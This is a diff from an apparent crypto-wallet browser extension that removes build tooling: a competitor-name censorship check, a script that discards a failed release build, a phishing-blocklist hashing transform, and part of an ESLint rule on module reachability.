|
||||
#!/bin/sh
|
||||
# script/check: run all checks (test, test-verify-build, lint, fmt-check).
|
||||
# Our own extension to scripts-to-rule-them-all. Must not modify any files.
|
||||
set -eu
|
||||
|
||||
SCRIPT_DIR="$(cd "$(dirname "$0")" && pwd -P)"
|
||||
|
||||
main() {
|
||||
"$SCRIPT_DIR/test"
|
||||
"$SCRIPT_DIR/test-verify-build"
|
||||
"$SCRIPT_DIR/check-censored"
|
||||
"$SCRIPT_DIR/lint"
|
||||
"$SCRIPT_DIR/fmt-check"
|
||||
}
|
||||
|
||||
main "$@"
|
||||
@@ -1,301 +0,0 @@
|
||||
#!/bin/sh
|
||||
# script/check-censored: assert that the competitor name RULES.md bars appears
|
||||
# nowhere in this repo, and nowhere in the built extension, except where it is
|
||||
# deliberate. Our own extension to scripts-to-rule-them-all, run from
|
||||
# script/check and from make build.
|
||||
#
|
||||
# Where the name is allowed, and why each one is not negotiable away:
|
||||
#
|
||||
# - script/vendor-blocklist. Build-time tooling, never shipped. A pinned
|
||||
# source reference that does not say what the source is cannot be verified
|
||||
# by anyone, so it names it. Whole-file exemption.
|
||||
# - the two provider-shim identifiers in src/content/inpage.js. Protocol
|
||||
# identifiers dApps feature-detect on; renaming them does not rename them in
|
||||
# their code, it only stops this wallet working on their sites.
|
||||
# - the on-chain name of the MUSD ERC-20 in src/shared/tokenList.js. It is not
|
||||
# what backs symbol-spoof detection — that reads symbol and address — but
|
||||
# the wallet already surfaces the on-chain name of any token the user holds
|
||||
# (src/shared/balances.js), and this contract's on-chain name is that
|
||||
# string, so censoring the repo cannot stop the wallet displaying it.
|
||||
# Dropping the entry instead would cost the user MUSD spoof detection.
|
||||
#
|
||||
# Everything else fails, in the working tree and under dist/. The last two are
|
||||
# literals rather than whole files, so they are enforced by counting, and each
|
||||
# literal is scoped to the path allowed to carry it: a file may contain the name
|
||||
# only as many times as it contains the literals permitted *there*, and zero
|
||||
# times anywhere else. The emitted bundles carry them too, so a plain "the name
|
||||
# must not appear in dist/" could never have passed.
|
||||
#
|
||||
# The name itself is not written in this file. script/vendor-blocklist is the
|
||||
# one place in this repo that defines it, and this reads it back out of there —
|
||||
# so the repo-wide grep this check exists to enforce keeps returning exactly the
|
||||
# files named above, and this file is not one of them.
|
||||
set -eu
|
||||
|
||||
ROOT="$(cd "$(dirname "$0")/.." && pwd -P)"
|
||||
|
||||
# Absolute path to this script, resolved before anything cd's anywhere: the
|
||||
# scan half runs in a re-invocation through xargs, so that the paths it works on
|
||||
# arrive as arguments and cannot be reshaped by field splitting on the way in.
|
||||
SELF="$(cd "$(dirname "$0")" && pwd -P)/$(basename "$0")"
|
||||
|
||||
# Internal re-entry flag. Not part of the command-line interface.
|
||||
SCAN_FLAG="--scan-paths"
|
||||
|
||||
VENDOR_SCRIPT="$ROOT/script/vendor-blocklist"
|
||||
|
||||
# Set by extract_name / make_literals_file.
|
||||
NAME=""
|
||||
ALLOWED_LITERALS_FILE=""
|
||||
|
||||
FAILED=0
|
||||
|
||||
cleanup() {
|
||||
[ -z "$ALLOWED_LITERALS_FILE" ] || rm -f "$ALLOWED_LITERALS_FILE"
|
||||
}
|
||||
trap cleanup EXIT INT TERM
|
||||
|
||||
fail() {
|
||||
echo "check-censored: FAIL: $*" >&2
|
||||
exit 1
|
||||
}
|
||||
|
||||
# The name, taken from the single place that defines it. A check scanning for a
|
||||
# pattern it failed to read would pass against anything, so this refuses to
|
||||
# continue unless it got something that looks like the definition.
|
||||
extract_name() {
|
||||
[ -f "$VENDOR_SCRIPT" ] ||
|
||||
fail "$VENDOR_SCRIPT is missing, and it is where the name being
|
||||
checked for is defined. Nothing was scanned."
|
||||
|
||||
NAME="$(grep -m1 '^UPSTREAM_ORG=' "$VENDOR_SCRIPT" | cut -d'"' -f2)" ||
|
||||
fail "could not read UPSTREAM_ORG from $VENDOR_SCRIPT. Nothing was
|
||||
scanned."
|
||||
|
||||
case "$NAME" in
|
||||
"" | *[!A-Za-z0-9]*)
|
||||
fail "UPSTREAM_ORG in $VENDOR_SCRIPT did not yield a plain name
|
||||
(got: '$NAME'). Scanning for that would prove nothing. Nothing was
|
||||
scanned."
|
||||
;;
|
||||
esac
|
||||
}
|
||||
|
||||
make_literals_file() {
|
||||
ALLOWED_LITERALS_FILE="$(mktemp \
|
||||
"${TMPDIR:-/tmp}/autistmask-censored.XXXXXX")" ||
|
||||
fail "could not create a temporary file, so nothing was scanned."
|
||||
}
|
||||
|
||||
# The literals $1 may carry, and nothing else may. Each contains the name
|
||||
# exactly once, which is what makes counting them sound; each is scoped to its
|
||||
# path, so a file with no business carrying the name fails even when it spells
|
||||
# it the way shipped code has to. Scoping is the point: permitting these
|
||||
# literals in any file is what once let this check pass its own prose.
|
||||
#
|
||||
# The emitted paths are listed next to the sources they come from. If the
|
||||
# bundler moves one, this goes red and the new path gets added deliberately,
|
||||
# rather than a wildcard over dist/ covering whatever lands there.
|
||||
allowed_literals_for() {
|
||||
: >"$ALLOWED_LITERALS_FILE"
|
||||
case "$1" in
|
||||
src/content/inpage.js | dist/*/src/content/inpage.js)
|
||||
printf 'is%s\n_%s\n' "$NAME" "$NAME" >"$ALLOWED_LITERALS_FILE"
|
||||
;;
|
||||
src/shared/tokenList.js | dist/*/src/background/index.js | \
|
||||
dist/*/src/popup/index.js)
|
||||
printf '%s USD\n' "$NAME" >"$ALLOWED_LITERALS_FILE"
|
||||
;;
|
||||
esac
|
||||
}
|
||||
|
||||
# How many times does $1 contain the name (TOTAL), and how many of those are one
|
||||
# of the allowed literals (ALLOWED)? Same discipline the rest of this repo's
|
||||
# shell checks apply to grep: exit 0 and 1 are answers about the file, anything
|
||||
# else means the file was not searched and is not an answer at all.
|
||||
count_matches() {
|
||||
_cm_status=0
|
||||
_cm_out="$(grep -a -o -i -F -e "$NAME" -- "$1")" || _cm_status=$?
|
||||
case "$_cm_status" in
|
||||
0) TOTAL="$(printf '%s\n' "$_cm_out" | grep -c .)" ;;
|
||||
1) TOTAL=0 ;;
|
||||
*)
|
||||
fail "grep exited $_cm_status reading $1, so the file was never
|
||||
searched and nothing was established about it. That is a permissions or I/O
|
||||
fault, not a clean file. Refusing to report success."
|
||||
;;
|
||||
esac
|
||||
|
||||
if [ "$TOTAL" -eq 0 ]; then
|
||||
ALLOWED=0
|
||||
return 0
|
||||
fi
|
||||
|
||||
# No literal is permitted at this path, so every occurrence is a violation.
|
||||
# Handled here rather than by grep, which is not required to say anything
|
||||
# useful about an empty pattern file.
|
||||
if [ ! -s "$ALLOWED_LITERALS_FILE" ]; then
|
||||
ALLOWED=0
|
||||
return 0
|
||||
fi
|
||||
|
||||
_cm_status=0
|
||||
_cm_out="$(grep -a -o -i -F -f "$ALLOWED_LITERALS_FILE" -- "$1")" ||
|
||||
_cm_status=$?
|
||||
case "$_cm_status" in
|
||||
0) ALLOWED="$(printf '%s\n' "$_cm_out" | grep -c .)" ;;
|
||||
1) ALLOWED=0 ;;
|
||||
*)
|
||||
fail "grep exited $_cm_status matching the allowed literals in $1.
|
||||
Refusing to report success."
|
||||
;;
|
||||
esac
|
||||
}
|
||||
|
||||
# The per-path half, run in a re-invocation of this script so it uses the same
|
||||
# counting as everything else rather than a second copy of it.
|
||||
scan_paths() {
|
||||
for _file in "$@"; do
|
||||
# dist/ arrives absolute (find) and the worktree relative (git
|
||||
# ls-files). The allowlist is keyed on repo-relative paths, so both
|
||||
# forms are reduced to one before anything is decided about them.
|
||||
_rel="$_file"
|
||||
case "$_rel" in
|
||||
"$ROOT"/*) _rel="${_rel#"$ROOT"/}" ;;
|
||||
esac
|
||||
|
||||
case "$_rel" in
|
||||
script/vendor-blocklist) continue ;;
|
||||
esac
|
||||
[ -f "$_file" ] || continue
|
||||
|
||||
allowed_literals_for "$_rel"
|
||||
count_matches "$_file"
|
||||
[ "$TOTAL" -gt "$ALLOWED" ] || continue
|
||||
|
||||
FAILED=$((FAILED + 1))
|
||||
echo "check-censored: $_rel: $TOTAL occurrence(s) of the name," \
|
||||
"$ALLOWED of them allowed at this path" >&2
|
||||
grep -a -n -i -F -e "$NAME" -- "$_file" | cut -c1-140 | head -5 >&2
|
||||
done
|
||||
[ "$FAILED" -eq 0 ]
|
||||
}
|
||||
|
||||
# Hand a NUL-delimited listing to the scan half. Returns non-zero if any path
|
||||
# failed, or if the scan could not be run at all.
|
||||
scan_listing() {
|
||||
xargs -0 "$SELF" "$SCAN_FLAG" <"$1"
|
||||
}
|
||||
|
||||
# Every file git tracks, plus everything untracked and not ignored: the working
|
||||
# tree as a reviewer would see it, and never node_modules or dist/ (both are
|
||||
# ignored; dist/ is walked separately below).
|
||||
check_worktree() {
|
||||
_list="$(mktemp "${TMPDIR:-/tmp}/autistmask-censored-tree.XXXXXX")" ||
|
||||
fail "could not create a temporary file, so nothing was scanned."
|
||||
_status=0
|
||||
git ls-files -z --cached --others --exclude-standard >"$_list" ||
|
||||
_status=$?
|
||||
[ "$_status" -eq 0 ] || {
|
||||
rm -f "$_list"
|
||||
fail "git ls-files exited $_status, so the working tree was never
|
||||
enumerated and nothing was established about it."
|
||||
}
|
||||
|
||||
# Repo-relative paths. The scan half cd's to the repo root before it opens
|
||||
# anything, so they reach it intact and unjoined.
|
||||
WORKTREE_COUNT="$(tr -dc '\0' <"$_list" | wc -c | tr -d ' ')"
|
||||
|
||||
_status=0
|
||||
scan_listing "$_list" || _status=$?
|
||||
rm -f "$_list"
|
||||
return "$_status"
|
||||
}
|
||||
|
||||
check_dist() {
|
||||
_list="$(mktemp "${TMPDIR:-/tmp}/autistmask-censored-dist.XXXXXX")" ||
|
||||
fail "could not create a temporary file, so dist/ was not scanned."
|
||||
_status=0
|
||||
find "$ROOT/dist" -type f -print0 >"$_list" || _status=$?
|
||||
[ "$_status" -eq 0 ] || {
|
||||
rm -f "$_list"
|
||||
fail "find exited $_status enumerating dist/, so part of the emitted
|
||||
tree was never walked and an unchecked file there went unchecked. Refusing
|
||||
to report success."
|
||||
}
|
||||
|
||||
DIST_COUNT="$(tr -dc '\0' <"$_list" | wc -c | tr -d ' ')"
|
||||
|
||||
_status=0
|
||||
scan_listing "$_list" || _status=$?
|
||||
rm -f "$_list"
|
||||
return "$_status"
|
||||
}
|
||||
|
||||
usage() {
|
||||
echo "usage: script/check-censored [--require-dist]" >&2
|
||||
exit 2
|
||||
}
|
||||
|
||||
main() {
|
||||
cd "$ROOT"
|
||||
|
||||
# Internal re-entry from scan_listing's xargs.
|
||||
if [ "${1-}" = "$SCAN_FLAG" ]; then
|
||||
shift
|
||||
extract_name
|
||||
make_literals_file
|
||||
scan_paths "$@"
|
||||
return $?
|
||||
fi
|
||||
|
||||
require_dist=no
|
||||
case "${1-}" in
|
||||
"") ;;
|
||||
--require-dist) require_dist=yes ;;
|
||||
*) usage ;;
|
||||
esac
|
||||
|
||||
extract_name
|
||||
make_literals_file
|
||||
|
||||
echo "Checking for censored names..."
|
||||
|
||||
tree_status=0
|
||||
check_worktree || tree_status=$?
|
||||
|
||||
dist_status=0
|
||||
dist_inspected=no
|
||||
DIST_COUNT=0
|
||||
if [ -d "$ROOT/dist" ]; then
|
||||
dist_inspected=yes
|
||||
check_dist || dist_status=$?
|
||||
fi
|
||||
|
||||
if [ "$tree_status" -ne 0 ] || [ "$dist_status" -ne 0 ]; then
|
||||
fail "the name appears outside the deliberate exceptions (reported
|
||||
above). See the header of script/check-censored for what is allowed and
|
||||
why."
|
||||
fi
|
||||
|
||||
if [ "$dist_inspected" = no ]; then
|
||||
if [ "$require_dist" = yes ]; then
|
||||
fail "there is no dist/ to inspect and this run was asked to
|
||||
require one. Run make build."
|
||||
fi
|
||||
cat <<EOF
|
||||
################################################################################
|
||||
## WARNING: dist/ WAS NOT INSPECTED BY THIS RUN AND IS NOT PROVEN CLEAN BY IT.
|
||||
## There is no dist/ in this tree. The working tree is clean, but a build can
|
||||
## carry text no source file does — a dependency's, or a bundler's. Every
|
||||
## make build runs this check again with dist/ required, so a release artifact
|
||||
## is always covered; this run simply had none to look at.
|
||||
################################################################################
|
||||
EOF
|
||||
fi
|
||||
|
||||
echo "check-censored: $WORKTREE_COUNT tracked file(s) inspected," \
|
||||
"$DIST_COUNT file(s) under dist/"
|
||||
}
|
||||
|
||||
main "$@"
|
||||
@@ -1,13 +0,0 @@
|
||||
#!/bin/sh
|
||||
# script/cibuild: run the CI build. The Dockerfile runs make check, so
|
||||
# a successful build implies all checks pass.
|
||||
set -eu
|
||||
|
||||
ROOT="$(cd "$(dirname "$0")/.." && pwd -P)"
|
||||
|
||||
main() {
|
||||
cd "$ROOT"
|
||||
docker build .
|
||||
}
|
||||
|
||||
main "$@"
|
||||
@@ -1,78 +0,0 @@
|
||||
#!/bin/sh
|
||||
# script/discard-dist-on-failure: run one step of the RELEASE build, and if that
|
||||
# step fails, remove dist/ before returning its exit status. Our own extension
|
||||
# to scripts-to-rule-them-all, wrapped around every step of make build.
|
||||
#
|
||||
# Why: with AUTISTMASK_DEBUG=1 exported in the calling shell, make build
|
||||
# compiles a debug bundle and then fails on it in script/verify-build — but the
|
||||
# bundle is already written. It is loadable, and every wallet it creates gets
|
||||
# the publicly committed test recovery phrase from src/shared/constants.js. A
|
||||
# failed release build that leaves that behind is a smaller version of the trap
|
||||
# the verifier exists to close, and "the failure was loud" only works on an
|
||||
# operator who does not load dist/chrome/ anyway. Removing the artifact does not
|
||||
# depend on that.
|
||||
#
|
||||
# Two things this deliberately does not do. It does not wrap make build-debug: a
|
||||
# debug build that failed is not a mistakable artifact, and its output is the
|
||||
# evidence of what went wrong. And it never removes anything on a step that
|
||||
# SUCCEEDS, including the final check-censored --require-dist pass.
|
||||
#
|
||||
# The removal is never silent: it says dist/ is gone and why, on stderr, above
|
||||
# the build's own failure.
|
||||
set -eu
|
||||
|
||||
ROOT="$(cd "$(dirname "$0")/.." && pwd -P)"
|
||||
DIST="$ROOT/dist"
|
||||
|
||||
usage() {
|
||||
echo "usage: discard-dist-on-failure COMMAND [ARG...]" >&2
|
||||
}
|
||||
|
||||
# Remove dist/, and say so. A removal that could not be completed is reported as
|
||||
# loudly as one that was: the artifact is still on disk, and reporting nothing
|
||||
# would leave the operator believing it is not.
|
||||
discard_dist() {
|
||||
if [ ! -e "$DIST" ] && [ ! -h "$DIST" ]; then
|
||||
echo "discard-dist-on-failure: the release build failed. There was no" \
|
||||
"dist/ to remove." >&2
|
||||
return 0
|
||||
fi
|
||||
|
||||
rm -rf "$DIST" || true
|
||||
|
||||
if [ -e "$DIST" ] || [ -h "$DIST" ]; then
|
||||
echo "discard-dist-on-failure: the release build failed and dist/" \
|
||||
"COULD NOT BE REMOVED, so it is still on disk. Do not load it:" \
|
||||
"a release build that failed may hold a complete debug bundle," \
|
||||
"whose wallets all use the publicly committed test recovery" \
|
||||
"phrase. Remove it by hand (make clean)." >&2
|
||||
return 0
|
||||
fi
|
||||
|
||||
echo "discard-dist-on-failure: the release build failed, so dist/ WAS" \
|
||||
"REMOVED and no longer exists. A release build that fails has often" \
|
||||
"already emitted a complete, loadable debug bundle — every wallet it" \
|
||||
"creates gets the publicly committed test recovery phrase — so the" \
|
||||
"failed build is not left behind to be loaded. Fix the failure and" \
|
||||
"re-run make build, or run make build-debug if a debug build is what" \
|
||||
"was wanted; that target keeps its output." >&2
|
||||
}
|
||||
|
||||
main() {
|
||||
[ "$#" -ge 1 ] || {
|
||||
usage
|
||||
echo "discard-dist-on-failure: no command given, so no build step ran" \
|
||||
"and nothing was removed." >&2
|
||||
exit 1
|
||||
}
|
||||
|
||||
_status=0
|
||||
"$@" || _status=$?
|
||||
|
||||
[ "$_status" -ne 0 ] || return 0
|
||||
|
||||
discard_dist
|
||||
exit "$_status"
|
||||
}
|
||||
|
||||
main "$@"
|
||||
@@ -1,14 +0,0 @@
|
||||
#!/bin/sh
|
||||
# script/docker: build the Docker image tagged with the project name.
|
||||
# Identical in all repos; the tag comes from script/projectname.
|
||||
set -eu
|
||||
|
||||
SCRIPT_DIR="$(cd "$(dirname "$0")" && pwd -P)"
|
||||
ROOT="$(cd "$SCRIPT_DIR/.." && pwd -P)"
|
||||
|
||||
main() {
|
||||
cd "$ROOT"
|
||||
docker build -t "$("$SCRIPT_DIR/projectname")" .
|
||||
}
|
||||
|
||||
main "$@"
|
||||
13
script/fmt
13
script/fmt
@@ -1,13 +0,0 @@
|
||||
#!/bin/sh
|
||||
# script/fmt: format all files (writes).
|
||||
set -eu
|
||||
|
||||
ROOT="$(cd "$(dirname "$0")/.." && pwd -P)"
|
||||
|
||||
main() {
|
||||
cd "$ROOT"
|
||||
echo "Formatting..."
|
||||
yarn run fmt 2>&1
|
||||
}
|
||||
|
||||
main "$@"
|
||||
@@ -1,14 +0,0 @@
|
||||
#!/bin/sh
|
||||
# script/fmt-check: check formatting (read-only). Same scope as
|
||||
# script/fmt, but fails instead of writing.
|
||||
set -eu
|
||||
|
||||
ROOT="$(cd "$(dirname "$0")/.." && pwd -P)"
|
||||
|
||||
main() {
|
||||
cd "$ROOT"
|
||||
echo "Checking formatting..."
|
||||
yarn run fmt-check 2>&1
|
||||
}
|
||||
|
||||
main "$@"
|
||||
@@ -1,16 +0,0 @@
|
||||
#!/bin/sh
|
||||
# script/install-precommit: install the git pre-commit hook that runs
|
||||
# script/precommit. Our own extension to scripts-to-rule-them-all.
|
||||
set -eu
|
||||
|
||||
ROOT="$(cd "$(dirname "$0")/.." && pwd -P)"
|
||||
|
||||
main() {
|
||||
cd "$ROOT"
|
||||
hook=".git/hooks/pre-commit"
|
||||
printf '#!/bin/sh\nset -e\nscript/precommit\n' > "$hook"
|
||||
chmod +x "$hook"
|
||||
echo "pre-commit hook installed: runs script/precommit"
|
||||
}
|
||||
|
||||
main "$@"
|
||||
@@ -1,147 +0,0 @@
|
||||
// The transform half of script/vendor-blocklist: upstream's config.json in,
|
||||
// src/shared/phishingBlocklist.json out. Build-time repo tooling; nothing here
|
||||
// is shipped to users.
|
||||
//
|
||||
// Usage: node script/lib/build-blocklist.js <source.json> <output.json>
|
||||
//
|
||||
// What it does, and why each step is here:
|
||||
//
|
||||
// - only the blacklist is carried over. The extension matches a hostname and
|
||||
// its parent domains against that one list; upstream's whitelist, fuzzylist
|
||||
// and version metadata are read by nothing here, so shipping them would add
|
||||
// megabytes of dead weight to every install.
|
||||
// - entries are lowercased and de-duplicated, because that is the form
|
||||
// isPhishingDomain() compares against.
|
||||
// - entries that cannot be a hostname are dropped and counted. Upstream
|
||||
// carries the odd URL-shaped entry (a path, a scheme); hostname matching can
|
||||
// never match one, and once the artifact is hashes nobody can see that it is
|
||||
// in there, so it is reported at vendoring time instead.
|
||||
// - entries are hashed (see src/shared/domainHash.js) and sorted, and the
|
||||
// digests are concatenated into one fixed-width string. Sorted is what makes
|
||||
// the runtime lookup a binary search over that string, with no set to build
|
||||
// on every service-worker wake; one string rather than an array of 100k+ is
|
||||
// what keeps the file, the bundle and the JSON parse small.
|
||||
//
|
||||
// Deterministic by construction: same input bytes, same output bytes.
|
||||
|
||||
"use strict";
|
||||
|
||||
const fs = require("fs");
|
||||
|
||||
const {
|
||||
HASH_ALGORITHM,
|
||||
HASH_HEX_CHARS,
|
||||
hashDomain,
|
||||
} = require("../../src/shared/domainHash");
|
||||
|
||||
// A blocklist that has collapsed to a handful of entries is a broken fetch or a
|
||||
// changed upstream shape, not a quiet day in phishing. Vendoring it would
|
||||
// disarm the feature, so it fails instead and a human decides.
|
||||
const MIN_ENTRIES = 10000;
|
||||
|
||||
function fail(message) {
|
||||
process.stderr.write("build-blocklist: " + message + "\n");
|
||||
process.exit(1);
|
||||
}
|
||||
|
||||
// A hostname, as the matcher understands one: dot-separated labels of letters,
|
||||
// digits, hyphens and underscores. Anything else — a path, a scheme, a space,
|
||||
// an empty string, a non-ASCII label a browser would have punycoded before it
|
||||
// ever reached isPhishingDomain() — cannot be produced by the hostname variants
|
||||
// the extension looks up, so it could only ever sit in the artifact unused.
|
||||
//
|
||||
// Underscores are deliberate. They are not legal in a hostname per RFC 1123,
|
||||
// but DNS carries them and browsers resolve them, and upstream lists 141 entries
|
||||
// that use one — real phishing sites on shared subdomain hosts. A stricter
|
||||
// pattern silently drops every one of them.
|
||||
const HOSTNAME_RE =
|
||||
/^[a-z0-9_]([a-z0-9_-]*[a-z0-9_])?(\.[a-z0-9_]([a-z0-9_-]*[a-z0-9_])?)+$/;
|
||||
|
||||
function main(argv) {
|
||||
const [source, output] = argv;
|
||||
if (!source || !output) {
|
||||
fail("usage: build-blocklist.js <source.json> <output.json>");
|
||||
}
|
||||
|
||||
let config;
|
||||
try {
|
||||
config = JSON.parse(fs.readFileSync(source, "utf8"));
|
||||
} catch (e) {
|
||||
fail("could not read " + source + " as JSON: " + e.message);
|
||||
}
|
||||
|
||||
if (!Array.isArray(config.blacklist)) {
|
||||
fail(
|
||||
"the source has no blacklist array, so its shape is not the one " +
|
||||
"this transform understands. Refusing to write an artifact.",
|
||||
);
|
||||
}
|
||||
|
||||
const seen = new Set();
|
||||
let dropped = 0;
|
||||
for (const raw of config.blacklist) {
|
||||
if (typeof raw !== "string") {
|
||||
dropped++;
|
||||
continue;
|
||||
}
|
||||
const domain = raw.trim().toLowerCase();
|
||||
if (!HOSTNAME_RE.test(domain)) {
|
||||
dropped++;
|
||||
continue;
|
||||
}
|
||||
seen.add(domain);
|
||||
}
|
||||
|
||||
if (seen.size < MIN_ENTRIES) {
|
||||
fail(
|
||||
"the source yielded " +
|
||||
seen.size +
|
||||
" usable entries, below the " +
|
||||
MIN_ENTRIES +
|
||||
" floor. That is a broken source or a changed upstream " +
|
||||
"shape, and vendoring it would disarm phishing detection. " +
|
||||
"Refusing to write an artifact.",
|
||||
);
|
||||
}
|
||||
|
||||
const hashes = [];
|
||||
for (const domain of seen) hashes.push(hashDomain(domain));
|
||||
hashes.sort();
|
||||
|
||||
// Truncation makes collisions possible; they are harmless (both entries are
|
||||
// blocked either way) but they must not inflate the count the artifact
|
||||
// claims, which the runtime cross-checks against the string length.
|
||||
const unique = [];
|
||||
for (const hash of hashes) {
|
||||
if (unique.length === 0 || unique[unique.length - 1] !== hash) {
|
||||
unique.push(hash);
|
||||
}
|
||||
}
|
||||
|
||||
const artifact = {
|
||||
algorithm: HASH_ALGORITHM,
|
||||
hashHexChars: HASH_HEX_CHARS,
|
||||
count: unique.length,
|
||||
hashes: unique.join(""),
|
||||
};
|
||||
|
||||
// Four-space JSON with a trailing newline: what prettier emits for this
|
||||
// shape, so a vendored artifact passes make fmt-check untouched.
|
||||
fs.writeFileSync(output, JSON.stringify(artifact, null, 4) + "\n");
|
||||
|
||||
process.stdout.write(
|
||||
"build-blocklist: " +
|
||||
config.blacklist.length +
|
||||
" source entries -> " +
|
||||
seen.size +
|
||||
" usable domains -> " +
|
||||
unique.length +
|
||||
" digests (" +
|
||||
dropped +
|
||||
" not hostnames, " +
|
||||
(seen.size - unique.length) +
|
||||
" digest collisions)\n",
|
||||
);
|
||||
}
|
||||
|
||||
main(process.argv.slice(2));
|
||||
@@ -1,206 +0,0 @@
|
||||
// ESLint rule: the background bundle may not reach the shared state singleton.
|
||||
//
|
||||
// src/shared/state.js holds a module-level `state` object, loaded once by
|
||||
// loadState() and mutated in place from then on. That is the popup's model. In
|
||||
// the MV3 service worker there is no "once": the worker is terminated when
|
||||
// idle and revived by the next message, nothing loads state at module scope,
|
||||
// and an unpopulated read used to be served DEFAULT_STATE without complaint —
|
||||
// five defects, one cause
|
||||
// (https://git.eeqj.de/sneak/AutistMask/issues/324). The background has its
|
||||
// own per-call storage layer in src/background/state.js instead.
|
||||
//
|
||||
// THIS RULE IS NOT THE GUARANTEE, and must not be described as one. The
|
||||
// guarantee is in build.js: FORBIDDEN_INPUTS / assertNoForbiddenInputs() fails
|
||||
// the build when esbuild's own metafile reports src/shared/state.js as an input
|
||||
// of a background bundle. That consults the resolution esbuild actually
|
||||
// performed, so no specifier syntax and no resolution rule can slip past it,
|
||||
// and Dockerfile:42 runs `make build` in CI.
|
||||
//
|
||||
// What this rule is: fast local feedback, in the editor and in `make lint`,
|
||||
// before a full bundle. It reads sources from disk and matches import
|
||||
// specifiers TEXTUALLY, so it is a best-effort approximation of module
|
||||
// resolution — a hand-rolled matcher will diverge from a real bundler, and two
|
||||
// earlier revisions of this file proved it by shipping holes (a template
|
||||
// literal, a dynamic `import()`, a comment inside the call, a directory
|
||||
// resolved through `package.json` `main`). Those are all covered now, and the
|
||||
// next divergence is caught by the build rather than by widening this again.
|
||||
//
|
||||
// It checks REACHABILITY, not just the direct require: the singleton is one
|
||||
// `require()` away from any shared module the background pulls in, and a
|
||||
// re-export would put it back in the bundle without any background file naming
|
||||
// it. So each background file is the root of a walk over the CommonJS require
|
||||
// graph, and the error names the whole chain that brought the singleton in.
|
||||
//
|
||||
// Matching textually over-approximates — a specifier inside a comment or a
|
||||
// string counts — which is the safe direction here: the failure mode is a
|
||||
// spurious error naming an exact file and line, not a silent hole.
|
||||
//
|
||||
// Two shapes this rule does NOT report, both of which the build does fail on
|
||||
// (each measured with `make lint` and `make build` on the branch that added
|
||||
// this note):
|
||||
//
|
||||
// - a computed specifier, `require("../shared/" + "state")` — esbuild
|
||||
// constant-folds it, so it is in the bundle and `make build` is exit 2
|
||||
// naming src/shared/state.js, while `make lint` is exit 0. Same for
|
||||
// `import("../shared/" + variable)`, which esbuild resolves as a glob.
|
||||
// - a symlink to the module — esbuild reports the real path and fails the
|
||||
// build; this rule resolves the link's own path and sees a different file.
|
||||
//
|
||||
// Both are pinned as non-reports in tests/backgroundStateLintRule.test.js, so
|
||||
// this list is a measured description of the rule rather than a claim about
|
||||
// it. They are known divergences, not things that cannot happen. A
|
||||
// matcher will keep diverging from a bundler; that is why the guarantee is the
|
||||
// build's and this rule is not widened again to chase them.
|
||||
|
||||
const fs = require("fs");
|
||||
const path = require("path");
|
||||
|
||||
const { FORBIDDEN_INPUTS } = require("../forbiddenBundleInputs");
|
||||
|
||||
// The modules to keep out, repo-relative, taken from the same table build.js
|
||||
// asserts against so that the two layers cannot name different paths. A second
|
||||
// literal copy here is how a rename disarms one of them while the other still
|
||||
// looks enforced.
|
||||
const FORBIDDEN = [...new Set(Object.values(FORBIDDEN_INPUTS).flat())];
|
||||
|
||||
// Whatever may sit between a keyword, a paren and a specifier: whitespace and
|
||||
// comments. `import(/* webpackChunkName: "x" */ "./x")` is a standard bundler
|
||||
// idiom, and an inline `/* eslint-… */` is just as ordinary, so a matcher that
|
||||
// allows only \s there is not strict, it is broken. Each alternative starts
|
||||
// with a distinct character, so this cannot backtrack quadratically.
|
||||
const GAP = "(?:\\s|/\\*[^]*?\\*/|//[^\\n]*)";
|
||||
const SPECIFIER = "[\"'`]([^\"'`]+)[\"'`]";
|
||||
|
||||
// Both alternatives capture the specifier: call form first
|
||||
// (`require(...)`/`import(...)`), then clause form (`from "x"`, and the bare
|
||||
// side-effect `import "x"`). Nothing after the specifier is matched, so a
|
||||
// trailing comment or a trailing comma cannot break the match either.
|
||||
const SPECIFIER_RE = new RegExp(
|
||||
`\\b(?:require|import)${GAP}*\\(${GAP}*${SPECIFIER}` +
|
||||
`|\\b(?:from|import)${GAP}+${SPECIFIER}`,
|
||||
"g",
|
||||
);
|
||||
|
||||
// The `main` of a directory's package.json, as a specifier relative to that
|
||||
// directory, or null. esbuild resolves a directory through it, so a walk that
|
||||
// stops at `<dir>/index.js` reports a specifier it matched perfectly well as
|
||||
// unresolvable.
|
||||
function packageMain(dir) {
|
||||
try {
|
||||
const pkg = JSON.parse(
|
||||
fs.readFileSync(path.join(dir, "package.json"), "utf8"),
|
||||
);
|
||||
return typeof pkg.main === "string" && pkg.main ? pkg.main : null;
|
||||
} catch {
|
||||
return null;
|
||||
}
|
||||
}
|
||||
|
||||
// Resolve a relative require to a file path, trying what node and esbuild would
|
||||
// in the order they would: the path itself, then extensions, then the directory
|
||||
// (its package.json `main`, then its index.js).
|
||||
function resolveRelative(fromFile, spec) {
|
||||
if (!spec.startsWith(".")) return null; // a package, not our tree
|
||||
const base = path.resolve(path.dirname(fromFile), spec);
|
||||
const main = packageMain(base);
|
||||
for (const candidate of [
|
||||
base,
|
||||
base + ".js",
|
||||
base + ".json",
|
||||
...(main
|
||||
? [path.resolve(base, main), path.resolve(base, main) + ".js"]
|
||||
: []),
|
||||
path.join(base, "index.js"),
|
||||
]) {
|
||||
try {
|
||||
if (fs.statSync(candidate).isFile()) return candidate;
|
||||
} catch {
|
||||
// Not this candidate.
|
||||
}
|
||||
}
|
||||
return null;
|
||||
}
|
||||
|
||||
function requiresOf(file) {
|
||||
let source;
|
||||
try {
|
||||
source = fs.readFileSync(file, "utf8");
|
||||
} catch {
|
||||
return [];
|
||||
}
|
||||
const out = [];
|
||||
for (const match of source.matchAll(SPECIFIER_RE)) {
|
||||
const resolved = resolveRelative(file, match[1] ?? match[2]);
|
||||
if (resolved) out.push(resolved);
|
||||
}
|
||||
return out;
|
||||
}
|
||||
|
||||
// Breadth-first from `entry`, returning the shortest chain of files that ends
|
||||
// at one of the forbidden modules, or null when none is reachable.
|
||||
function chainToForbidden(entry, forbidden) {
|
||||
const seen = new Set([entry]);
|
||||
const queue = [[entry]];
|
||||
while (queue.length > 0) {
|
||||
const chain = queue.shift();
|
||||
for (const next of requiresOf(chain[chain.length - 1])) {
|
||||
if (forbidden.has(next)) return chain.concat([next]);
|
||||
if (seen.has(next)) continue;
|
||||
seen.add(next);
|
||||
queue.push(chain.concat([next]));
|
||||
}
|
||||
}
|
||||
return null;
|
||||
}
|
||||
|
||||
const rule = {
|
||||
meta: {
|
||||
type: "problem",
|
||||
docs: {
|
||||
description:
|
||||
"the background bundle must not be able to reach the" +
|
||||
" module-level state singleton in src/shared/state.js",
|
||||
},
